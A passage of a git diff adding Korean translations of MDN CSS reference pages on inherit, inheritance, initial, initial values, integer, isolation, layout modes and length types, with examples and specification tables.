+   <td>{{ SpecName('CSS2.1') }}에서 두드러진 변화 없음</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS2.1', "cascade.html#value-def-inherit", "inherit") }}</td>
+   <td>{{ Spec2('CSS2.1') }}</td>
+   <td>초기 정의</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>{{Compat("css.types.global_keywords.inherit")}}</div>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a class="internal" href="/ko/docs/Web/CSS/inheritance">상속</a></li>
+ <li>{{cssxref("initial")}}을 사용해 속성의 초깃값을 사용하세요.</li>
+ <li>{{cssxref("unset")}}을 사용해 속성의 상속값 또는 초깃값을 사용하세요.</li>
+ <li>{{cssxref("revert")}}를 사용해 사용자 에이전트가 지정한 값(또는 사용자가 수정한 값)으로 속성을 되돌리세요.</li>
+ <li>{{cssxref("all")}} 속성을 사용하면 요소의 모든 속성을 한꺼번에 <code>initial</code>, <code>inherit</code>, <code>revert</code>, <code>unset</code>할 수 있습니다.</li>
+</ul>
diff --git a/files/ko/web/css/inheritance/index.html b/files/ko/web/css/inheritance/index.html
new file mode 100644
index 0000000000..db14ed6cd8
--- /dev/null
+++ b/files/ko/web/css/inheritance/index.html
@@ -0,0 +1,54 @@
+---
+title: 상속
+slug: Web/CSS/inheritance
+tags:
+  - CSS
+  - Guide
+  - Inheritance
+  - Layout
+  - Web
+translation_of: Web/CSS/inheritance
+---
+<div>{{cssref}}</div>
+
+<p>MDN 내 각 <a href="/ko/docs/Web/CSS/CSS_Reference">CSS 속성(property) 정의</a> 페이지의 요약절은 그 속성이 기본(default)으로 상속되는지("Inherited: Yes") 혹은 상속되지 않는지("Inherited: no") 쓰여 있습니다. 이 상속 여부는 요소의 속성에 어떤 값이 지정되지 않을 때 일어나는 일을 제어합니다.</p>
+
+<h2 id="Inherited_properties" name="Inherited_properties">상속되는 속성</h2>
+
+<p>요소의 <strong>상속되는 속성</strong>에 값이 지정되지 않은 경우, 요소는 부모 요소의 해당 속성의 <a href="/ko/docs/Web/CSS/computed_value" title="computed value">계산값</a>을 얻습니다. 오직 문서의 루트 요소만 속성의 요약절에 주어진 <a href="/ko/docs/Web/CSS/initial_value" title="initial value">초기값</a>을 얻습니다.</p>
+
+<p>상속되는 속성의 대표적인 예는 {{ Cssxref("color") }} 속성입니다. 주어진 스타일 규칙:</p>
+
+<pre class="brush: css">p { color: green }</pre>
+
+<p>과 마크업:</p>
+
+<pre class="brush: html">&lt;p&gt;This paragraph has &lt;em&gt;emphasized text&lt;/em&gt; in it.&lt;/p&gt;</pre>
+
+<p><code>em</code> 요소는  <code>p</code> 요소로부터 {{ Cssxref("color") }} 속성값을 상속했기 때문에, "emphasized text"는 녹색으로 보입니다. 속성의 초기값(페이지가 어떤 색을 지정하지 않았을 때 루트 요소에 사용된 색)을 얻지 <em>않</em>습니다.</p>
+
+<h2 id="Non-inherited_properties" name="Non-inherited_properties">상속되지 않는 속성</h2>
+
+<p>요소의 <strong>상속되지 않는 속성</strong>(Mozilla 코드에서는 가끔 <strong>reset 속성</strong>으로 불림)에 어떤 값이 지정되지 않는 경우, 요소는 그 속성의 <a href="/ko/docs/Web/CSS/initial_value" title="initial value">초기값</a>을 얻습니다(속성의 요약절에 지정된 대로).</p>
+
+<p>상속되지 않는 속성의 대표적인 예는 {{ Cssxref("border") }} 속성입니다. 주어진 스타일 규칙:</p>
+
+<pre class="brush: css"> p { border: medium solid }</pre>
+
+<p>과 마크업:</p>
+
+<pre class="brush: html">  &lt;p&gt;This paragraph has &lt;em&gt;emphasized text&lt;/em&gt; in it.&lt;/p&gt;</pre>
+
+<p>"emphasized text"는 테두리가 없습니다({{ Cssxref("border-style") }}의 초기값이 <code>none</code>이기 때문에).</p>
+
+<h2 id="Notes" name="Notes">참고</h2>
+
+<p>{{ Cssxref("inherit") }} 키워드는 작성자가 명시적으로 상속을 지정할 수 있게 합니다. 상속되는 속성과 상속되지 않는 속성 모두에 작동합니다.</p>
+
+<h2 id="See_Also" name="See_Also">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/CSS/CSS_Reference" title="CSS Reference">CSS 참고서</a></li>
+ <li>{{ CSS_key_concepts() }}</li>
+ <li>{{ Cssxref("inherit") }}</li>
+</ul>
diff --git a/files/ko/web/css/initial/index.html b/files/ko/web/css/initial/index.html
new file mode 100644
index 0000000000..3205718d3d
--- /dev/null
+++ b/files/ko/web/css/initial/index.html
@@ -0,0 +1,78 @@
+---
+title: initial
+slug: Web/CSS/initial
+tags:
+  - CSS
+  - CSS Cascade
+  - CSS Value
+  - Layout
+  - Reference
+  - Web
+  - 초기값
+  - 초기화
+  - 초깃값
+translation_of: Web/CSS/initial
+---
+<div>{{CSSRef}}</div>
+
+<p><span class="seoSummary"><a href="/ko/docs/Web/CSS">CSS</a> <strong><code>initial</code></strong> 키워드는 속성의 <a href="/ko/docs/Web/CSS/initial_value">초깃값(기본값)</a>을 요소에 적용합니다.</span> 초깃값은 브라우저가 지정합니다. 모든 속성에서 사용할 수 있으며, {{cssxref("all")}}에 지정할 경우 모든 CSS 속성을 초깃값으로 재설정합니다.</p>
+
+<div class="note">
+<p><strong>참고:</strong> <a href="/ko/docs/Web/CSS/inheritance#Inherited_properties" title="inherited properties">상속 속성</a>의 초깃값은 예상치 못한 값일 수도 있습니다. 따라서, {{cssxref("inherit")}}, {{cssxref("unset")}}, {{cssxref("revert")}} 키워드의 사용을 대신 고려해보세요.</p>
+</div>
+
+<h2 id="예제">예제</h2>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;p&gt;
+  &lt;span&gt;This text is red.&lt;/span&gt;
+  &lt;em&gt;This text is in the initial color (typically black).&lt;/em&gt;
+  &lt;span&gt;This is red again.&lt;/span&gt;
+&lt;/p&gt;</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css">p {
+  color: red;
+}
+
+em {
+  color: initial;
+}</pre>
+
+<p>{{EmbedLiveSample('예제')}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">설명</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSS4 Cascade', '#initial', 'initial') }}</td>
+   <td>{{Spec2('CSS4 Cascade')}}</td>
+   <td>Level 3에서 변화 없음.</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS3 Cascade', '#initial', 'initial') }}</td>
+   <td>{{Spec2('CSS3 Cascade')}}</td>
+   <td>초기 정의.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility"><nobr>브라우저 호환성</nobr></h2>
+
+<div>{{Compat("css.types.global_keywords.initial")}}</div>
+
+<h2 id="See_also" name="See_also">참조</h2>
+
+<ul>
+ <li>{{cssxref("inherit")}}, {{cssxref("unset")}}, {{cssxref("revert")}}, {{cssxref("all")}}</li>
+</ul>
diff --git a/files/ko/web/css/initial_value/index.html b/files/ko/web/css/initial_value/index.html
new file mode 100644
index 0000000000..2a764918ed
--- /dev/null
+++ b/files/ko/web/css/initial_value/index.html
@@ -0,0 +1,51 @@
+---
+title: 초깃값
+slug: Web/CSS/initial_value
+tags:
+  - CSS
+  - Reference
+translation_of: Web/CSS/initial_value
+---
+<div>{{cssref}}</div>
+
+<p><a href="/ko/docs/Web/CSS">CSS</a> 속성의 <strong>초깃값</strong>은 속성의 기본값으로, 속성 정의 표가 명시하고 있습니다. 초깃값의 사용처는 상속 여부에 따라 다릅니다.</p>
+
+<ul>
+ <li><a href="/ko/docs/Web/CSS/inheritance#Inherited_properties">상속 속성</a>의 경우, <a href="/ko/docs/Web/CSS/specified_value">지정값</a>이 없는 이상 초깃값은 <strong>루트 요소에만</strong> 쓰입니다.</li>
+ <li><a href="/ko/docs/Web/CSS/inheritance#Non-inherited_properties">비상속 속성</a>의 경우, <a href="/ko/docs/Web/CSS/specified_value">지정값</a>이 없는 이상 초깃값은 <strong>모든 요소</strong>에 쓰입니다.</li>
+</ul>
+
+<div class="blockIndicator note">
+<p><strong>참고:</strong> {{cssxref("initial")}} 키워드를 사용해 명시적으로 초깃값을 지정할 수 있습니다.</p>
+</div>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><a href="https://drafts.csswg.org/css-cascade-4/#initial-values">CSS Cascade 4</a></td>
+   <td></td>
+   <td>Formal definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS2.1", "cascade.html#specified-value", "initial value")}}</td>
+   <td>{{Spec2("CSS2.1")}}</td>
+   <td>Implicit definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="See_Also" name="See_Also">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/CSS/CSS_Reference" title="CSS Reference">CSS Reference</a></li>
+ <li>{{CSS_key_concepts}}</li>
+</ul>
diff --git a/files/ko/web/css/integer/index.html b/files/ko/web/css/integer/index.html
new file mode 100644
index 0000000000..a6de2d4b1c
--- /dev/null
+++ b/files/ko/web/css/integer/index.html
@@ -0,0 +1,93 @@
+---
+title: <integer>
+slug: Web/CSS/integer
+tags:
+  - CSS
+  - CSS Data Type
+  - Reference
+  - Web
+translation_of: Web/CSS/integer
+---
+<div>{{CSSRef}}</div>
+
+<p><strong><code>&lt;integer&gt;</code></strong> <a href="/ko/docs/Web/API/CSS">CSS</a> <a href="/ko/docs/Web/CSS/CSS_Types">자료형</a>은 {{cssxref("&lt;number&gt;")}}의 종류 중 하나로 소수점이 없는 완전한 수, 즉 정수를 표현합니다. 정수는 {{cssxref("column-count")}}, {{cssxref("counter-increment")}}, {{cssxref("grid-column")}}, {{cssxref("grid-row")}}, {{cssxref("z-index")}} 등 다양한 속성에서 사용할 수 있습니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<p><code>&lt;integer&gt;</code> 자료형은 하나 이상의 0부터 9까지의 10진수 숫자로 구성하며, 선택적으로 <code>+</code>, <code>-</code>로 부호를 표시할 수 있습니다. 따로 연관지어야 하는 단위는 없습니다.</p>
+
+<div class="note"><strong>참고:</strong> 공식적으로 정해진 <code>&lt;integer&gt;</code> 값의 범위는 없습니다. Opera 12.1은 최대 2<sup>15</sup>-1, IE는 2<sup>20</sup>-1, 그 외 브라우저는 더 큰 값도 지원합니다. CSS3 Values 논의 중 최소한의 범위를 설정하자는 말이 많아서 가장 최근인 <a href="http://lists.w3.org/Archives/Public/www-style/2012Apr/0633.html">2012년 4월 LC 단계</a>에서는 [-2<sup>27</sup>-1; 2<sup>27</sup>-1]으로 결정했습니다. 2<sup>24</sup>-1과 2<sup>30</sup>-1처럼 다른 값도 <a href="http://lists.w3.org/Archives/Public/www-style/2012Apr/0530.html">제안</a>됐습니다. 하지만 최신 명세는 범위를 지정하고 있지 않습니다.</div>
+
+<h2 id="보간">보간</h2>
+
+<p>애니메이션에서 <code>&lt;integer&gt;</code> 자료형의 값은 이산적으로 1씩 변화합니다. 계산은 유동소수점 실수를 사용하며 최종 결과인 이산값은 <a href="https://ko.wikipedia.org/wiki/%EB%B0%94%EB%8B%A5_%ED%95%A8%EC%88%98%EC%99%80_%EC%B2%9C%EC%9E%A5_%ED%95%A8%EC%88%98" title="http://en.wikipedia.org/wiki/Floor_function">버림 함수</a>를 사용해 얻습니다. 보간의 속도는 애니메이션과 연결된 <a href="https://developer.mozilla.org/ko/docs/Web/CSS/single-transition-timing-function" rel="nofollow">타이밍 함수</a>가 결정합니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="유효한_정수">유효한 정수</h3>
+
+<pre>12          양의 정수 (부호 표시 없음)
++123        양의 정수 (+ 부호)
+-456        음의 정수
+0           0
++0          0, 양의 부호
+-0          0, 음의 부호
+</pre>
+
+<h3 id="유효하지_않은_정수">유효하지 않은 정수</h3>
+
+<pre class="example-bad">12.0        정수를 표현하지만 &lt;interger&gt;가 아닌 &lt;number&gt;
+12.         소수점은 불허
++---12      하나의 +/-만 허용
+ten         글자는 불허
+_5          특수문자는 불허
+\35         유니코드 이스케이프 문자는 정수를 표현하더라도 불허 (\35: 5)
+\4E94       아라비아 숫자 외의 다른 표현은 이스케이프 후에도 불허 (\4E94: 일본어 五).
+3e4         과학적 표기법 불허
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th>Specification</th>
+   <th>Status</th>
+   <th>Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Values', '#integers', '&lt;integer&gt;')}}</td>
+   <td>{{Spec2('CSS4 Values')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Values', '#integers', '&lt;integer&gt;')}}</td>
+   <td>{{Spec2('CSS3 Values')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'syndata.html#numbers', '&lt;integer&gt;')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Explicit definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS1', '', '&lt;integer&gt;')}}</td>
+   <td>{{Spec2('CSS1')}}</td>
+   <td>Implicit definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.types.integer")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{cssxref("&lt;number&gt;")}}</li>
+</ul>
diff --git a/files/ko/web/css/isolation/index.html b/files/ko/web/css/isolation/index.html
new file mode 100644
index 0000000000..ffeb6140f9
--- /dev/null
+++ b/files/ko/web/css/isolation/index.html
@@ -0,0 +1,114 @@
+---
+title: isolation
+slug: Web/CSS/isolation
+tags:
+  - CSS
+  - CSS Property
+  - Reference
+translation_of: Web/CSS/isolation
+---
+<div>{{CSSRef}}</div>
+
+<p><strong><code>isolation</code></strong> <a href="/ko/docs/Web/CSS">CSS</a> 속성은 요소가 새로운 {{glossary("stacking context", "쌓임 맥락")}}을 생성해야 하는지 지정합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/isolation.html")}}</div>
+
+
+
+<p>{{cssxref("mix-blend-mode")}}와 함께 사용했을 때 특히 유용합니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="brush:css no-line-numbers">/* 키워드 값 */
+isolation: auto;
+isolation: isolate;
+
+/* 전역 값 */
+isolation: inherit;
+isolation: initial;
+isolation: unset;
+</pre>
+
+<p><code>isolation</code> 속성은 다음 키워드 값 중 하나를 사용해 지정합니다.</p>
+
+<h3 id="값">값</h3>
+
+<dl>
+ <dt><code>auto</code></dt>
+ <dd>요소에 적용한 속성 중 새로운 쌓임 맥락을 요구하는 속성이 있을 때만 쌓임 맥락을 생성합니다.</dd>
+ <dt><code>isolate</code></dt>
+ <dd>항상 새로운 쌓임 맥락을 생성합니다.</dd>
+</dl>
+
+<h3 id="형식_구문">형식 구문</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: html">&lt;div id="b" class="a"&gt;
+  &lt;div id="d"&gt;
+    &lt;div class="a c"&gt;auto&lt;/div&gt;
+  &lt;/div&gt;
+  &lt;div id="e"&gt;
+    &lt;div class="a c"&gt;isolate&lt;/div&gt;
+  &lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="brush: css">.a {
+  background-color: rgb(0,255,0);
+}
+#b {
+  width: 200px;
+  height: 210px;
+}
+.c {
+  width: 100px;
+  height: 100px;
+  border: 1px solid black;
+  padding: 2px;
+  mix-blend-mode: difference;
+}
+#d {
+  isolation: auto;
+}
+#e {
+  isolation: isolate;
+}</pre>
+
+<p>{{ EmbedLiveSample('예제', 230, 230) }}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('Compositing', '#isolation', 'Isolation') }}</td>
+   <td>{{ Spec2('Compositing') }}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.properties.isolation")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{cssxref("&lt;blend-mode&gt;")}}</li>
+ <li>{{cssxref("mix-blend-mode")}}, {{cssxref("background-blend-mode")}}</li>
+</ul>
diff --git a/files/ko/web/css/layout_mode/index.html b/files/ko/web/css/layout_mode/index.html
new file mode 100644
index 0000000000..607a699b21
--- /dev/null
+++ b/files/ko/web/css/layout_mode/index.html
@@ -0,0 +1,32 @@
+---
+title: 레이아웃 모드
+slug: Web/CSS/Layout_mode
+tags:
+  - CSS
+  - Guide
+  - Layout
+  - Reference
+translation_of: Web/CSS/Layout_mode
+---
+<div>{{cssref}}</div>
+
+<p><a href="/ko/docs/Web/CSS">CSS</a> <strong>레이아웃 모드</strong>, 줄여서 <strong>레이아웃</strong>은 형제(sibling) 및 조상(ancestor) 박스와 상호 작용하는 방식을 기반으로 박스의 위치와 크기를 결정하는 알고리즘입니다. 그 중 몇 가지입니다:</p>
+
+<ul>
+ <li>블록 레이아웃(<em>block layout</em>), 문서 배치를 위해 설계됨. 블록 레이아웃은 요소(element)를 <a href="/ko/docs/Web/CSS/float"><em>float</em></a> 하거나 여러 단(<a href="/ko/docs/Web/CSS/CSS_Columns/Using_multi-column_layouts"><em>multiple columns</em></a>)에 걸쳐 배치하는 기술 같은 문서 중심 기능을 포함합니다.</li>
+ <li>인라인 레이아웃(<em>inline layout</em>), 텍스트 배치를 위해 설계됨.</li>
+ <li>테이블 레이아웃(<em>table layout</em>), 표 배치를 위해 설계됨.</li>
+ <li>위치지정 레이아웃(<em>positioned layout</em>), 다른 요소와 상호 작용이 많이 없는 요소의 위치지정을 위해 설계됨.</li>
+ <li>신축 박스 레이아웃(<a href="/ko/docs/Web/CSS/CSS_Flexible_Box_Layout/Using_CSS_flexible_boxes"><em>flexible box layout</em></a>), 부드럽게 크기조정이 될 수 있는 복잡한 페이지 배치를 위해 설계됨. {{experimental_inline}}</li>
+ <li>그리드 레이아웃(<em>grid layout</em>), 고정된 격자(grid)에 상대적인 요소 배치를 위해 설계됨. {{experimental_inline}}</li>
+</ul>
+
+<div class="note">
+<p><strong>참고:</strong> CSS 속성(<a href="/ko/docs/Web/CSS/CSS_Reference">CSS properties</a>) 모두가 모든 <em>레이아웃 모드</em>에 적용되지는 않습니다. 속성 대부분은 한 두 모드에 적용되고 속성이 다른 레이아웃 모드에 참여하는 요소에 설정되면 효과가 없습니다.</p>
+</div>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{CSS_key_concepts}}</li>
+</ul>
diff --git a/files/ko/web/css/length-percentage/index.html b/files/ko/web/css/length-percentage/index.html
new file mode 100644
index 0000000000..7ab06ee4ff
--- /dev/null
+++ b/files/ko/web/css/length-percentage/index.html
@@ -0,0 +1,55 @@
+---
+title: <length-percentage>
+slug: Web/CSS/length-percentage
+tags:
+  - CSS
+  - CSS Date Type
+  - Reference
+translation_of: Web/CSS/length-percentage
+---
+<div>{{CSSRef}}</div>
+
+<p><strong><code>&lt;length-percentage&gt;</code></strong> <a href="/ko/docs/Web/CSS">CSS</a> <a href="/ko/docs/Web/CSS/CSS_Types">자료형</a>은 {{Cssxref("&lt;length&gt;")}} 또는 {{Cssxref("&lt;percentage&gt;")}}인 값을 나타냅니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<p>{{Cssxref("&lt;length&gt;")}}와 {{Cssxref("&lt;percentage&gt;")}} 문서에서 각 자료형의 구문을 살펴보세요.</p>
+
+<h2 id="calc()에서_사용하기"><code>calc()</code>에서 사용하기</h2>
+
+<p><code>&lt;length-percentage&gt;</code>를 허용한다면 백분율이 길이로 이행한다는 뜻이므로 {{cssxref("calc", "calc()")}}와 함께 사용할 수 있습니다. 따라서 아래의 {{cssxref("width")}} 값 모두 유효합니다.</p>
+
+<pre class="syntaxbox example-good">width: 200px
+width: 20%
+width: calc(100% - 200px)
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Values', '#mixed-percentages', '&lt;length-percentage&gt;')}}</td>
+   <td>{{Spec2('CSS4 Values')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Values', '#mixed-percentages', '&lt;length-percentage&gt;')}}</td>
+   <td>{{Spec2('CSS3 Values')}}</td>
+   <td>Defines <code>&lt;length-percentage&gt;</code>. Adds <code>calc()</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.types.length-percentage")}}</p>
diff --git a/files/ko/web/css/length/index.html b/files/ko/web/css/length/index.html
new file mode 100644
index 0000000000..e2e5b3925b
--- /dev/null
+++ b/files/ko/web/css/length/index.html
@@ -0,0 +1,252 @@
+---
+title: <length>
+slug: Web/CSS/length
+tags:
+  - CSS
+  - CSS Data Type
+  - Layout
+  - Reference
+  - Web
+  - length
+translation_of: Web/CSS/length
+---
+<div>{{CSSRef}}</div>
+
+<p><a href="/ko/docs/Web/CSS">CSS </a><strong><code>&lt;length&gt;</code></strong> <a href="/ko/docs/Web/CSS/CSS_Types">자료형</a>은 거리 값을 나타냅니다. {{Cssxref("width")}}, {{Cssxref("height")}}, {{Cssxref("margin")}}, {{Cssxref("padding")}}, {{Cssxref("border-width")}}, {{Cssxref("font-size")}}, {{Cssxref("text-shadow")}} 등 다양한 속성에 사용할 수 있습니다.</p>
+
+<div class="note">
+<p><strong>참고:</strong> {{cssxref("&lt;percentage&gt;")}} 값을 일부 속성의 <code>&lt;length&gt;</code> 값으로 사용할 수는 있지만 <code>&lt;percentage&gt;</code>와 <code>&lt;length&gt;</code> 는 다릅니다. {{cssxref("&lt;length-percentage&gt;")}}를 참고하세요.</p>
+</div>
+
+<h2 id="구문">구문</h2>
+
+<p><code>&lt;length&gt;</code> 자료형은 {{cssxref("&lt;number&gt;")}} 다음에 아래 나열한 단위 중 하나를 붙여 구성합니다. 다른 CSS 단위와 마찬가지로 숫자와 단위 문자 사이에 공백은 존재하지 않습니다. 숫자 <code>0</code> 뒤에는 단위를 붙이지 않아도 됩니다.</p>
+
+<div class="note">
+<p><strong>참고:</strong> 일부 속성은 음의 <code>&lt;length&gt;</code>를 받지만 다른 속성은 그렇지 않습니다.</p>
+</div>
+
+<h3 id="단위">단위</h3>
+
+<h4 id="상대길이_단위">상대길이 단위</h4>
+
+<p>상대길이는 어떤 다른 거리와의 상대적 비율을 표현합니다. 어떤 다른 거리란 단위에 따라 특정 문자, {{cssxref("line-height")}}, 아니면 {{glossary("viewport", "뷰포트")}}일 수 있습니다.</p>
+
+<h5 id="글꼴_상대_길이">글꼴 상대 길이</h5>
+
+<p>글꼴 상대 길이는 <code>&lt;length&gt;</code> 값을 특정 문자나 현재 요소가 사용하는 글꼴의 특정 속성을 기준으로 설정합니다.</p>
+
+<div class="note">
+<p><strong>참고:</strong> 아래 단위들, 특히 <code>em</code>과 <code>rem</code>은 사용자가 글꼴 크기를 늘려도 <a href="https://24ways.org/2006/compose-to-a-vertical-rhythm">페이지의 수직 흐름을 유지</a>하는, 확대 가능한 레이아웃을 만들기 위해 많이 쓰입니다.</p>
+</div>
+
+<dl>
+ <dt><code><a id="cap" name="cap">cap</a></code> {{experimental_inline}}</dt>
+ <dd>요소 {{cssxref("font")}}의 "cap height"(영문 대문자의 평균 높이 값)를 나타냅니다.</dd>
+ <dt><code><a id="ch" name="ch">ch</a></code></dt>
+ <dd>요소 {{cssxref("font")}}의 문자 "0"(영, 유니코드 U+0030)의 너비를 나타냅니다.</dd>
+ <dd>문자 "0"의 너비를 측정하는 것이 불가능하거나 실용적이지 않은 경우 너비 0.5em에 높이 1em이라고 가정해야 합니다.</dd>
+ <dt><code><a id="em" name="em">em</a></code></dt>
+ <dd>요소 {{cssxref("font-size")}}의 계산값. 요소의 {{cssxref("font-size")}} 속성에 사용한다면 상속받는 <code>font-size</code> 값을 나타냅니다.</dd>
+ <dt><code><a id="ex" name="ex">ex</a></code></dt>
+ <dd>요소 {{cssxref("font")}}의 {{interwiki("wikipedia", "x높이")}}를 나타냅니다. "x"문자를 가진 글꼴에서는 보통 소문자 높이와 같습니다. 많은 글꼴에서 <code>1ex ≈ 0.5em</code>입니다.</dd>
+ <dt><code><a id="ic" name="ic">ic</a></code> {{experimental_inline}}</dt>
+ <dd>"水" (한중일 한자 "물", U+6C34) 문자를 렌더링할 때 사용하는 글꼴에서의 너비를 나타냅니다.</dd>
+ <dt><code><a id="lh" name="lh">lh</a></code> {{experimental_inline}}</dt>
+ <dd>요소가 {{cssxref("line-height")}}를 가지고 있는 경우, <code>line-height</code>의 계산값을 절대 길이로 변환해 나타냅니다.</dd>
+ <dt><code><a id="rem" name="rem">rem</a></code></dt>
+ <dd>루트 요소(보통 {{HTMLElement("html")}})의 {{cssxref("font-size")}}를 나타냅니다. 루트 요소의 <code>font-size</code>에 사용할 경우 최초값(보통 브라우저 기본값은 <code>16px</code>이나 사용자 설정으로 변할 수 있음)을 나타냅니다.</dd>
+ <dt><code><a id="rlh" name="rlh">rlh</a></code> {{experimental_inline}}</dt>
+ <dd>루트 요소(보통 {{HTMLElement("html")}})의 {{cssxref("line-height")}}를 절대 길이로 변환해 나타냅니다. 루트 요소의 {{cssxref("font-size")}}나 <code>line-height</code>에 사용할 경우 최초값을 나타냅니다.</dd>
+</dl>
+
+<h5 id="뷰포트_백분율_길이">뷰포트 백분율 길이</h5>
+
+<p>뷰포트 백분율 길이는 <code>&lt;length&gt;</code> 값을 {{glossary("viewport", "뷰포트")}}, 즉 문서에서 볼 수 있는 부분의 크기를 기준으로 설정합니다. 뷰포트 길이는 {{cssxref("@page")}} 선언 블록에서는 유효하지 않습니다.</p>
+
+<dl>
+ <dt><code><a id="vh" name="vh">vh</a></code></dt>
+ <dd>뷰포트의 초기 <a href="/ko/docs/Web/CSS/All_About_The_Containing_Block">컨테이닝 블록</a> 높이 1%와 같습니다.</dd>
+ <dt><code><a id="vw" name="vw">vw</a></code></dt>
+ <dd>뷰포트의 초기 <a href="/ko/docs/Web/CSS/All_About_The_Containing_Block">컨테이닝 블록</a> 너비 1%와 같습니다.</dd>
+ <dt><code><a id="vi" name="vi">vi</a></code> {{experimental_inline}}</dt>
+ <dd>초기 컨테이닝 블록의 <a href="/ko/docs/Web/CSS/CSS_Logical_Properties#인라인_치수">인라인 축</a> 크기 1%와 같습니다.</dd>
+ <dt><code><a id="vb" name="vb">vb</a></code> {{experimental_inline}}</dt>
+ <dd>초기 컨테이닝 블록의 <a href="/ko/docs/Web/CSS/CSS_Logical_Properties#블록_치수">블록 축</a> 크기 1%와 같습니다.</dd>
+ <dt><code><a id="vmin" name="vmin">vmin</a></code></dt>
+ <dd><code>vw</code>와 <code>vh</code> 중 작은 것과 같습니다.</dd>
+ <dt><code><a id="vmax" name="vmax">vmax</a></code></dt>
+ <dd><code>vw</code>와 <code>vh</code> 중 큰 것과 같습니다.</dd>
+</dl>
+
+<h4 id="절대길이_단위">절대길이 단위</h4>
+
+<p>절대길이 단위는 프린트 등 출력 수단의 크기를 알 수 있을 때의 물리적 측정 거리를 나타냅니다. 구현은 어떤 단위를 물리적인 실제 거리에 맞춰 기준으로 삼고, 나머지 단위를 상대적으로 계산해 설정합니다. 기준 단위는 화면 등 저해상도 장치와 프린터 등 고해상도 장치에서 다릅니다.</p>
+
+<p>저해상도 장치에서 <code>px</code> 단위는 물리적인 픽셀을 의미하며 나머지는 이에 상대적입니다. 따라서 <code>1in</code>은 <code>96px</code>로 정의하며 이는 <code>72pt</code>와 동일합니다. 그러나 인치(<code>in</code>), 센티미터(<code>cm</code>), 밀리미터(<code>mm</code>) 등 이렇게 정의하는 단위가 같은 이름을 가진 물리적인 측정 단위와 일치하지 않을 수 있다는 문제점이 있습니다.</p>
+
+<p>고해상도 장치에서 인치(<code>in</code>), 센티미터(<code>cm</code>), 밀리미터(<code>mm</code>)가 기준이 되어 물리적 거리와 동일합니다. 그래서 px 단위도 이에 맞춰 1인치의 1/96로 정의합니다.</p>
+
+<div class="note">
+<p><strong>참고:</strong> 많은 사용자가 {{glossary("user agent", "사용자 에이전트")}}의 기본 글꼴 크기를 늘려 읽기 쉽도록 설정합니다. 절대길이는 사용자 설정을 따르지 않기 때문에 접근성 문제를 유발할 수 있습니다. 따라서 <code>font-size</code>를 설정할 땐 <code>em</code>, <code>rem</code> 등 상대길이를 선택하세요.</p>
+</div>
+
+<dl>
+ <dt><code><a id="px" name="px">px</a></code></dt>
+ <dd>1 픽셀. 화면에서는 전통적으로 하나의 장치 픽셀(점)을 의미했지만, 프린터나 고해상도 화면에서는 1/96 <code>in</code>을 맞출 수 있도록 여러 개의 장치 픽셀을 의미합니다.</dd>
+ <dt><code><a id="cm" name="cm">cm</a></code></dt>
